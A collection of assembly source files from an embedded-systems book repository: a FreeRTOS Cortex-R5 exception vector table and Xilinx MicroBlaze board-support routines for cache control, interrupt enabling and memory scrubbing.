Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/ARM_CR5/port_asm_vectors.S
/* * FreeRTOS Kernel V10.3.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * Copyright (C) 2014 - 2020 Xilinx, Inc. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ .org 0 .text .globl _boot .globl _vector_table .globl FIQInterrupt .globl FreeRTOS_IRQ_Handler .globl FreeRTOS_SWI_Handler .globl DataAbortInterrupt .globl PrefetchAbortInterrupt .section .vectors,"a" _vector_table: ldr pc,=_boot ldr pc,=Undefined ldr pc, _swi ldr pc,=PrefetchAbortHandler ldr pc,=DataAbortHandler NOP /* Placeholder for address exception vector*/ ldr pc, _irq ldr pc,=FIQHandler _irq: .word FreeRTOS_IRQ_Handler _swi: .word FreeRTOS_SWI_Handler .text FIQHandler: /* FIQ vector handler */ stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ FIQLoop: bl FIQInterrupt /* FIQ vector */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ subs pc, lr, #4 /* adjust return */ Undefined: /* Undefined handler */ stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ b _prestart movs pc, lr DataAbortHandler: /* Data Abort handler */ stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ bl DataAbortInterrupt /*DataAbortInterrupt :call C function here */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ subs pc, lr, #8 /* adjust return */ PrefetchAbortHandler: /* Prefetch Abort handler */ stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ bl PrefetchAbortInterrupt /* PrefetchAbortInterrupt: call C function here */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ subs pc, lr, #4 /* adjust return */ .end
PacktPublishing/Architecting-High-Performance-Embedded-Systems
1,044
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_disable_icache.S
/****************************************************************************** * Copyright (c) 2004 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * File : microblaze_disable_icache.s * Date : 2002, March 20. * Company: Xilinx * Group : Emerging Software Technologies * * Summary: * Disable L1 icache on the microblaze. * * ******************************************************************************/ #include "xparameters.h" .text .globl microblaze_disable_icache .ent microblaze_disable_icache .align 2 microblaze_disable_icache: #if XPAR_MICROBLAZE_USE_MSR_INSTR == 1 rtsd r15, 8 msrclr r0, 0x20 #else /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ #Read the MSR register mfs r8, rmsr #Clear the icache enable bit andi r8, r8, ~(0x20) #Save the MSR register mts rmsr, r8 #Return rtsd r15, 8 nop #endif .end microblaze_disable_icache
PacktPublishing/Architecting-High-Performance-Embedded-Systems
2,198
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_init_dcache_range.S
/****************************************************************************** * Copyright (c) 2006 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * microblaze_init_dcache_range (unsigned int cache_start, unsigned int cache_len) * * Invalidate dcache on the microblaze * * Parameters: * 'cache_start' - address in the Dcache where invalidation begins * 'cache_len' - length (in bytes) worth of Dcache to be invalidated * * *******************************************************************************/ #include "xparameters.h" #define MICROBLAZE_MSR_DCACHE_ENABLE 0x00000080 #define MICROBLAZE_MSR_INTR_ENABLE 0x00000002 #ifndef XPAR_MICROBLAZE_DCACHE_LINE_LEN #define XPAR_MICROBLAZE_DCACHE_LINE_LEN 1 #endif .text .globl microblaze_init_dcache_range .ent microblaze_init_dcache_range .align 2 microblaze_init_dcache_range: #if (XPAR_MICROBLAZE_USE_DCACHE==1) && (XPAR_MICROBLAZE_ALLOW_DCACHE_WR==1) mfs r9, rmsr /* Disable Dcache and interrupts before invalidating */ andi r10, r9, (~(MICROBLAZE_MSR_DCACHE_ENABLE | MICROBLAZE_MSR_INTR_ENABLE)) mts rmsr, r10 andi r5, r5, -(4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN) /* Align to cache line */ add r6, r5, r6 /* Compute end */ andi r6, r6, -(4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN) /* Align to cache line */ L_start: wdc r5, r0 /* Invalidate the Cache (delay slot) */ cmpu r18, r5, r6 /* Are we at the end ? */ blei r18, L_done brid L_start /* Branch to the beginning of the loop */ addik r5, r5, (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) /* Increment the address by 4 (delay slot) */ L_done: rtsd r15, 8 /* Return */ mts rmsr, r9 #else rtsd r15, 8 /* Return */ nop #endif .end microblaze_init_dcache_range
PacktPublishing/Architecting-High-Performance-Embedded-Systems
1,428
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_invalidate_cache_ext.S
/****************************************************************************** * Copyright (c) 2008 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * microblaze_invalidate_cache_ext() * *Invalidate the entire L2 Cache * * *******************************************************************************/ #include "xparameters.h" #include "microblaze_instructions.h" #define XPAR_MICROBLAZE_EXT_CACHE_LINE_LEN 16 #define CACHEABLE_REGION_SIZE (XPAR_MICROBLAZE_DCACHE_HIGHADDR - XPAR_MICROBLAZE_DCACHE_BASEADDR) .text .globl microblaze_invalidate_cache_ext .ent microblaze_invalidate_cache_ext .align 2 microblaze_invalidate_cache_ext: #if ((XPAR_MICROBLAZE_INTERCONNECT==3) && (XPAR_MICROBLAZE_USE_DCACHE==1)) ADDIK r5, r0, XPAR_MICROBLAZE_DCACHE_BASEADDR & (-(4 * XPAR_MICROBLAZE_EXT_CACHE_LINE_LEN)) ADDIK r6, r0, CACHEABLE_REGION_SIZE-(4 * XPAR_MICROBLAZE_EXT_CACHE_LINE_LEN) ANDI r6, r6, -(4 * XPAR_MICROBLAZE_EXT_CACHE_LINE_LEN) Loop_start: wdc.ext.clear r5, r6 #if defined (__arch64__ ) addlik r6, r6,-(4 * XPAR_MICROBLAZE_EXT_CACHE_LINE_LEN) beagei r6, Loop_start #else bgtid r6,Loop_start addik r6, r6,-(4 * XPAR_MICROBLAZE_EXT_CACHE_LINE_LEN) #endif #endif rtsd r15, 8 nop .end microblaze_invalidate_cache_ext
PacktPublishing/Architecting-High-Performance-Embedded-Systems
3,488
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_invalidate_dcache_range.S
/****************************************************************************** * Copyright (c) 2008 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * * microblaze_invalidate_dcache_range (unsigned int cacheaddr, unsigned int len) * * Invalidate a Dcache range * * Parameters: * 'cacheaddr' - address in the Dcache where invalidation begins * 'len ' - length (in bytes) worth of Dcache to be invalidated * * *******************************************************************************/ #include "xparameters.h" #include "microblaze_instructions.h" #define MICROBLAZE_MSR_DCACHE_ENABLE 0x00000080 #define MICROBLAZE_MSR_INTR_ENABLE 0x00000002 #ifndef XPAR_MICROBLAZE_DCACHE_LINE_LEN #define XPAR_MICROBLAZE_DCACHE_LINE_LEN 1 #endif #ifndef XPAR_MICROBLAZE_DCACHE_USE_WRITEBACK #define MB_VERSION_LT_v720 #define MB_HAS_WRITEBACK_SET 0 #else #define MB_HAS_WRITEBACK_SET XPAR_MICROBLAZE_DCACHE_USE_WRITEBACK #endif .text .globl microblaze_invalidate_dcache_range .ent microblaze_invalidate_dcache_range .align 2 microblaze_invalidate_dcache_range: #if (XPAR_MICROBLAZE_USE_DCACHE==1) && (XPAR_MICROBLAZE_ALLOW_DCACHE_WR==1) #ifdef MB_VERSION_LT_v720 /* Disable Dcache and interrupts before invalidating */ mfs r9, rmsr andi r10, r9, ~(MICROBLAZE_MSR_DCACHE_ENABLE | MICROBLAZE_MSR_INTR_ENABLE) mts rmsr, r10 #endif BEQI r6, L_done /* Skip loop if size is zero */ ADD r6, r5, r6 /* Compute end address */ ADDIK r6, r6, -1 ANDI r6, r6, -(4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN) /* Align end down to cache line */ ANDI r5, r5, -(4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN) /* Align start down to cache line */ #if MB_HAS_WRITEBACK_SET == 0 /* Use a different scheme for MB version < v7.20 or when caches are write-through */ L_start: CMPU r18, r5, r6 /* Are we at the end? */ BLTI r18, L_done wdc r5, r0 #if defined (__arch64__ ) addlik r5, r5, (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) /* Increment the address by 4 */ breai L_start /* Branch to the beginning of the loop */ #else brid L_start /* Branch to the beginning of the loop */ addik r5, r5, (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) /* Increment the address by 4 (delay slot) */ #endif #else RSUBK r6, r5, r6 /* r6 will now contain (count of bytes - (4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN)) */ L_start: wdc.clear r5, r6 /* Invalidate the cache line only if the address matches */ #if defined (__arch64__ ) addlik r6, r6, -(XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) beagei r6, L_start #else bneid r6, L_start addik r6, r6, -(XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) #endif #endif L_done: rtsd r15, 8 #ifdef MB_VERSION_LT_v720 /* restore MSR only for MB version < v7.20 */ mts rmsr, r9 #else nop #endif #else rtsd r15, 8 nop #endif .end microblaze_invalidate_dcache_range
PacktPublishing/Architecting-High-Performance-Embedded-Systems
1,555
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_disable_interrupts.S
/****************************************************************************** * Copyright (c) 2004 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * @file microblaze_disable_interrupts.S * * @addtogroup microblaze_pseudo_asm_macro * @{ * <h2> microblaze_disable_interrupts.S </h2> * - API to disable Interrupts: void microblaze_disable_interrupts(void) * * This API Disables interrupts on the MicroBlaze processor. It can be * called when entering a critical section of code where a context switch is * undesirable. * * <pre> * File : microblaze_disable_interrupts.s * Date : 2002, March 20. * Company: Xilinx * Group : Emerging Software Technologies * * Summary: * Disable interrupts on the microblaze. * </pre> * ******************************************************************************/ #include "xparameters.h" .text .globl microblaze_disable_interrupts .ent microblaze_disable_interrupts .align 2 microblaze_disable_interrupts: #if XPAR_MICROBLAZE_USE_MSR_INSTR == 1 rtsd r15, 8 msrclr r0, 0x2 #else /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ #Read the MSR register mfs r12, rmsr #Clear the interrupt enable bit andi r12, r12, ~(0x2) #Save the MSR register mts rmsr, r12 #Return rtsd r15, 8 nop #endif /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ .end microblaze_disable_interrupts /** * @} End of "addtogroup microblaze_pseudo_asm_macro". */
PacktPublishing/Architecting-High-Performance-Embedded-Systems
5,784
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_scrub.S
/****************************************************************************** * Copyright (c) 2012 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * microblaze_scrub () * * Scrub LMB memory and all internal BRAMs (data cache, instruction cache, * MMU UTLB and branch target cache) in MicroBlaze to reduce the possibility * of an uncorrectable error when fault tolerance support is enabled. * * This routine assumes that the processor is in privileged mode when it is * called, if the MMU is enabled. * * Call this routine regularly from a timer interrupt. * * Parameters: * None * * *******************************************************************************/ #include "xparameters.h" /* Define if fault tolerance is used */ #ifdef XPAR_MICROBLAZE_FAULT_TOLERANT #if XPAR_MICROBLAZE_FAULT_TOLERANT > 0 #define FAULT_TOLERANT #endif #endif /* Define if LMB is used and can be scrubbed */ #if defined(XPAR_MICROBLAZE_D_LMB) && \ defined(XPAR_DLMB_CNTLR_BASEADDR) && \ defined(XPAR_DLMB_CNTLR_HIGHADDR) #if XPAR_MICROBLAZE_D_LMB == 1 #define HAS_SCRUBBABLE_LMB #define DLMB_MASK (XPAR_DLMB_CNTLR_HIGHADDR - XPAR_DLMB_CNTLR_BASEADDR) #endif #endif /* Set default cache line lengths */ #ifndef XPAR_MICROBLAZE_DCACHE_LINE_LEN #define XPAR_MICROBLAZE_DCACHE_LINE_LEN 4 #endif #ifndef XPAR_MICROBLAZE_ICACHE_LINE_LEN #define XPAR_MICROBLAZE_ICACHE_LINE_LEN 4 #endif /* Define if internal Data Cache BRAMs are used */ #if defined(XPAR_MICROBLAZE_USE_DCACHE) && defined(XPAR_MICROBLAZE_DCACHE_BYTE_SIZE) #if XPAR_MICROBLAZE_USE_DCACHE == 1 && XPAR_MICROBLAZE_DCACHE_BYTE_SIZE > 1024 #define HAS_BRAM_DCACHE #define DCACHE_INCREMENT (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) #define DCACHE_MASK (XPAR_MICROBLAZE_DCACHE_BYTE_SIZE - 1) #endif #endif /* Define if internal Instruction Cache BRAMs are used */ #if defined(XPAR_MICROBLAZE_USE_ICACHE) && defined(XPAR_MICROBLAZE_CACHE_BYTE_SIZE) #if XPAR_MICROBLAZE_USE_ICACHE == 1 && XPAR_MICROBLAZE_CACHE_BYTE_SIZE > 1024 #define HAS_BRAM_ICACHE #define ICACHE_INCREMENT (XPAR_MICROBLAZE_ICACHE_LINE_LEN * 4) #define ICACHE_MASK (XPAR_MICROBLAZE_CACHE_BYTE_SIZE - 1) #endif #endif /* Define if internal MMU UTLB BRAM is used */ #ifdef XPAR_MICROBLAZE_USE_MMU #if XPAR_MICROBLAZE_USE_MMU > 1 #define HAS_BRAM_MMU_UTLB #endif #endif /* Define if internal BTC BRAM is used, and match BTC clear to a complete cache scrub */ #if defined(XPAR_MICROBLAZE_USE_BRANCH_TARGET_CACHE) && \ defined(XPAR_MICROBLAZE_BRANCH_TARGET_CACHE_SIZE) #if XPAR_MICROBLAZE_USE_BRANCH_TARGET_CACHE == 1 #if XPAR_MICROBLAZE_BRANCH_TARGET_CACHE_SIZE == 0 || \ XPAR_MICROBLAZE_BRANCH_TARGET_CACHE_SIZE > 4 #define HAS_BRAM_BRANCH_TARGET_CACHE #ifdef HAS_BRAM_DCACHE #define BTC_MASK_D (XPAR_MICROBLAZE_DCACHE_BYTE_SIZE/DCACHE_INCREMENT-1) #else #define BTC_MASK_D 256 #endif #ifdef HAS_BRAM_ICACHE #define BTC_MASK_I (XPAR_MICROBLAZE_CACHE_BYTE_SIZE/ICACHE_INCREMENT-1) #else #define BTC_MASK_I 256 #endif #if BTC_MASK_D > BTC_MASK_I #define BTC_MASK BTC_MASK_D #else #define BTC_MASK BTC_MASK_I #endif #endif #endif #endif /* Define index offsets to persistent data used by this routine */ #define DLMB_INDEX_OFFSET 0 #define DCACHE_INDEX_OFFSET 4 #define ICACHE_INDEX_OFFSET 8 #define MMU_INDEX_OFFSET 12 #define BTC_CALL_COUNT_OFFSET 16 .text .globl microblaze_scrub .ent microblaze_scrub .align 2 microblaze_scrub: #ifdef FAULT_TOLERANT la r6, r0, L_persistent_data /* Get pointer to data */ #ifdef HAS_SCRUBBABLE_LMB L_dlmb: lwi r5, r6, DLMB_INDEX_OFFSET /* Get dlmb index */ lw r7, r5, r0 /* Load and store */ sw r7, r5, r0 addik r5, r5, 4 /* Increment and save dlmb index */ andi r5, r5, DLMB_MASK swi r5, r6, DLMB_INDEX_OFFSET #endif /* HAS_SCRUBBABLE_LMB */ #ifdef HAS_BRAM_DCACHE L_dcache: lwi r5, r6, DCACHE_INDEX_OFFSET /* Get dcache line index */ wdc r5, r0 /* Invalidate data cache line */ addik r5, r5, DCACHE_INCREMENT /* Increment and save entry index */ andi r5, r5, DCACHE_MASK swi r5, r6, DCACHE_INDEX_OFFSET #endif /* HAS_BRAM_DCACHE */ #ifdef HAS_BRAM_ICACHE L_icache: lwi r5, r6, ICACHE_INDEX_OFFSET /* Get icache line index */ wic r5, r0 /* Invalidate data cache line */ addik r5, r5, ICACHE_INCREMENT /* Increment and save entry index */ andi r5, r5, ICACHE_MASK swi r5, r6, ICACHE_INDEX_OFFSET #endif /* HAS_BRAM_ICACHE */ #ifdef HAS_BRAM_MMU_UTLB L_mmu: lwi r5, r6, MMU_INDEX_OFFSET /* Get UTLB entry index */ mts rtlbx, r5 /* Access next entry in UTLB */ mts rtlbhi, r0 /* Clear the UTLB entry */ addik r5, r5, 1 /* Increment and save entry index */ andi r5, r5, 0x3F swi r5, r6, MMU_INDEX_OFFSET #endif /* HAS_BRAM_MMU_UTLB */ #ifdef HAS_BRAM_BRANCH_TARGET_CACHE L_btc: lwi r5, r6, BTC_CALL_COUNT_OFFSET /* Get BTC call count offset */ addik r5, r5, 1 /* Increment and save call count */ andi r5, r5, BTC_MASK swi r5, r6, BTC_CALL_COUNT_OFFSET bnei r5, L_skip_btc_scrub /* Skip scrub unless count wrap */ bri 4 /* Clear branch target cache */ L_skip_btc_scrub: #endif /* HAS_BRAM_BRANCH_TARGET_CACHE */ #endif /* FAULT_TOLERANT */ L_done: rtsd r15, 8 /* Return */ nop .end microblaze_scrub /* Persistent data used by this routine */ .data .align 2 L_persistent_data: .long 0 /* dlmb index */ .long 0 /* dcache index */ .long 0 /* icache index */ .long 0 /* mmu entry index */ .long 0 /* btc call count */
PacktPublishing/Architecting-High-Performance-Embedded-Systems
1,075
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_enable_dcache.S
/****************************************************************************** * Copyright (c) 2004 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * File : microblaze_enable_dcache.s * Date : 2002, March 20. * Company: Xilinx * Group : Emerging Software Technologies * * Summary: * Enable L1 dcache on the microblaze. * * ******************************************************************************/ #include "xparameters.h" .text .globl microblaze_enable_dcache .ent microblaze_enable_dcache .align 2 microblaze_enable_dcache: #if XPAR_MICROBLAZE_USE_MSR_INSTR == 1 rtsd r15, 8 msrset r0, 0x80 #else /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ #Read the MSR register mfs r8, rmsr #Set the interrupt enable bit ori r8, r8, 0x80 #Save the MSR register mts rmsr, r8 #Return rtsd r15, 8 nop #endif /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ .end microblaze_enable_dcache
PacktPublishing/Architecting-High-Performance-Embedded-Systems
3,540
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_flush_dcache_range.S
/****************************************************************************** * Copyright (c) 2008 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * microblaze_flush_dcache_range (unsigned int cacheaddr, unsigned int len) * * Flush a L1 DCache range * * Parameters: * 'cacheaddr' - address in the Dcache where the flush begins * 'len ' - length (in bytes) worth of Dcache to be flushed * *******************************************************************************/ #include "xparameters.h" #include "microblaze_instructions.h" #define MICROBLAZE_MSR_DCACHE_ENABLE 0x00000080 #define MICROBLAZE_MSR_INTR_ENABLE 0x00000002 #ifndef XPAR_MICROBLAZE_DCACHE_LINE_LEN #define XPAR_MICROBLAZE_DCACHE_LINE_LEN 1 #endif #ifndef XPAR_MICROBLAZE_DCACHE_USE_WRITEBACK #define MB_VERSION_LT_v720 #define MB_HAS_WRITEBACK_SET 0 #else #define MB_HAS_WRITEBACK_SET XPAR_MICROBLAZE_DCACHE_USE_WRITEBACK #endif .text .globl microblaze_flush_dcache_range .ent microblaze_flush_dcache_range .align 2 microblaze_flush_dcache_range: #if (XPAR_MICROBLAZE_USE_DCACHE==1) && (XPAR_MICROBLAZE_ALLOW_DCACHE_WR==1) #ifdef MB_VERSION_LT_v720 /* Disable Dcache and interrupts before invalidating */ mfs r9, rmsr andi r10, r9, ~(MICROBLAZE_MSR_DCACHE_ENABLE | MICROBLAZE_MSR_INTR_ENABLE) mts rmsr, r10 #endif beqi r6, L_done /* Skip loop if size is zero */ ADD r6, r5, r6 /* Compute end address */ ADDIK r6, r6, -1 ANDI r6, r6, -(4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN) /* Align end down to cache line */ ANDI r5, r5, -(4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN) /* Align start down to cache line */ #if MB_HAS_WRITEBACK_SET == 0 /* Use a different scheme for MB version < v7.20 or when caches are write-through */ L_start: CMPU r18, r5, r6 /* Are we at the end? */ BLTI r18, L_done wdc r5, r0 /* Invalidate the cache line */ #if defined (__arch64__ ) addlik r5, r5, (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) /* Increment the address by 4 */ breai L_start /* Branch to the beginning of the loop */ #else brid L_start /* Branch to the beginning of the loop */ addik r5, r5, (XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) /* Increment the address by 4 (delay slot) */ #endif #else RSUBK r6, r5, r6 /* r6 will now contain (count of bytes - (4 * XPAR_MICROBLAZE_DCACHE_LINE_LEN)) */ L_start: wdc.flush r5, r6 /* Flush the cache line */ #if defined (__arch64__ ) addlik r6, r6, -(XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) beagei r6, L_start #else bneid r6, L_start addik r6, r6, -(XPAR_MICROBLAZE_DCACHE_LINE_LEN * 4) #endif #endif L_done: rtsd r15, 8 #ifdef MB_VERSION_LT_v720 /* restore MSR only for MB version < v7.20 */ mts rmsr, r9 #else nop #endif #else rtsd r15, 8 /* Return */ nop #endif .end microblaze_flush_dcache_range
PacktPublishing/Architecting-High-Performance-Embedded-Systems
2,200
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_init_icache_range.S
/****************************************************************************** * Copyright (c) 2006 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * * microblaze_init_icache_range (unsigned int cache_start, unsigned int cache_len) * * Invalidate icache on the microblaze * * Parameters: * 'cache_start' - address in the Icache where invalidation begins * 'cache_len' - length (in bytes) worth of Icache to be invalidated * * *******************************************************************************/ #include "xparameters.h" #define MICROBLAZE_MSR_ICACHE_ENABLE 0x00000020 #define MICROBLAZE_MSR_INTR_ENABLE 0x00000002 #ifndef XPAR_MICROBLAZE_ICACHE_LINE_LEN #define XPAR_MICROBLAZE_ICACHE_LINE_LEN 1 #endif .text .globl microblaze_init_icache_range .ent microblaze_init_icache_range .align 2 microblaze_init_icache_range: #if (XPAR_MICROBLAZE_USE_ICACHE==1) && (XPAR_MICROBLAZE_ALLOW_ICACHE_WR==1) mfs r9, rmsr /* Disable Icache and interrupts before invalidating */ andi r10, r9, (~(MICROBLAZE_MSR_ICACHE_ENABLE | MICROBLAZE_MSR_INTR_ENABLE)) mts rmsr, r10 andi r5, r5, -(4 * XPAR_MICROBLAZE_ICACHE_LINE_LEN) /* Align to cache line */ add r6, r5, r6 /* Compute end */ andi r6, r6, -(4 * XPAR_MICROBLAZE_ICACHE_LINE_LEN) /* Align to cache line */ L_start: wic r5, r0 /* Invalidate the Cache (delay slot) */ cmpu r18, r5, r6 /* Are we at the end ? */ blei r18, L_done brid L_start /* Branch to the beginning of the loop */ addik r5, r5, (XPAR_MICROBLAZE_ICACHE_LINE_LEN * 4) /* Increment the address by 4 (delay slot) */ L_done: rtsd r15, 8 /* Return */ mts rmsr, r9 #else rtsd r15, 8 /* Return */ nop #endif .end microblaze_init_icache_range
PacktPublishing/Architecting-High-Performance-Embedded-Systems
2,385
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_invalidate_icache.S
/****************************************************************************** * Copyright (c) 2008 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * * * microblaze_invalidate_icache() * * Invalidate the entire ICache * * *******************************************************************************/ #include "xparameters.h" #include "microblaze_instructions.h" #define MICROBLAZE_MSR_ICACHE_ENABLE 0x00000020 #define MICROBLAZE_MSR_INTR_ENABLE 0x00000002 #ifndef XPAR_MICROBLAZE_ICACHE_LINE_LEN #define XPAR_MICROBLAZE_ICACHE_LINE_LEN 1 #endif #ifndef XPAR_MICROBLAZE_DCACHE_USE_WRITEBACK #define MB_VERSION_LT_v720 #endif .text .globl microblaze_invalidate_icache .ent microblaze_invalidate_icache .align 2 microblaze_invalidate_icache: #if (XPAR_MICROBLAZE_USE_ICACHE==1) && (XPAR_MICROBLAZE_ALLOW_ICACHE_WR==1) #ifdef MB_VERSION_LT_v720 /* Disable Icache and interrupts before invalidating */ mfs r9, rmsr andi r10, r9, ~(MICROBLAZE_MSR_ICACHE_ENABLE | MICROBLAZE_MSR_INTR_ENABLE) mts rmsr, r10 #endif ADDIK r5, r0, XPAR_MICROBLAZE_ICACHE_BASEADDR & (-(4 * XPAR_MICROBLAZE_ICACHE_LINE_LEN)) /* Align to cache line */ ADDIK r6, r5, XPAR_MICROBLAZE_CACHE_BYTE_SIZE & (-(4 * XPAR_MICROBLAZE_ICACHE_LINE_LEN)) /* Compute end */ L_start: wic r5, r0 /* Invalidate the Cache */ CMPU r18, r5, r6 /* Are we at the end? */ BLEI r18, L_done #if defined (__arch64__ ) addlik r5, r5, (XPAR_MICROBLAZE_ICACHE_LINE_LEN * 4) /* Increment the address by 4 */ breai L_start #else brid L_start /* Branch to the beginning of the loop */ addik r5, r5, (XPAR_MICROBLAZE_ICACHE_LINE_LEN * 4) /* Increment the address by 4 (delay slot) */ #endif L_done: rtsd r15, 8 /* Return */ #ifdef MB_VERSION_LT_v720 /* restore MSR only for MB version < v7.20 */ mts rmsr, r9 #else nop #endif #else rtsd r15, 8 /* Return */ nop #endif .end microblaze_invalidate_icache
PacktPublishing/Architecting-High-Performance-Embedded-Systems
1,575
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_enable_interrupts.S
/****************************************************************************** * Copyright (c) 2004 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /****************************************************************************** * @file microblaze_enable_interrupts.S * * @addtogroup microblaze_pseudo_asm_macro * @{ * <h2> microblaze_enable_interrupts.S </h2> * - API to Enable Interrupts: void microblaze_enable_interrupts(void) * * This API Enables interrupts on the MicroBlaze processor. When the MicroBlaze * processor starts up, interrupts are disabled. Interrupts must be explicitly * turned on using this function. * * <pre> * * File : microblaze_enable_interrupts.s * Date : 2002, March 20. * Company: Xilinx * Group : Emerging Software Technologies * * Summary: * Enable interrupts on the microblaze. * </pre> * ******************************************************************************/ #include "xparameters.h" .text .globl microblaze_enable_interrupts .ent microblaze_enable_interrupts .align 2 microblaze_enable_interrupts: #if XPAR_MICROBLAZE_USE_MSR_INSTR == 1 rtsd r15, 8 msrset r0, 0x2 nop #else /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ #Read the MSR register mfs r12, rmsr #Set the interrupt enable bit ori r12, r12, 0x2 #Save the MSR register mts rmsr, r12 #Return rtsd r15, 8 nop #endif /*XPAR_MICROBLAZE_USE_MSR_INSTR == 1*/ .end microblaze_enable_interrupts /** * @} End of "addtogroup microblaze_pseudo_asm_macro". */
PacktPublishing/Architecting-High-Performance-Embedded-Systems
2,550
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/standalone_v7_2/src/microblaze_update_dcache.S
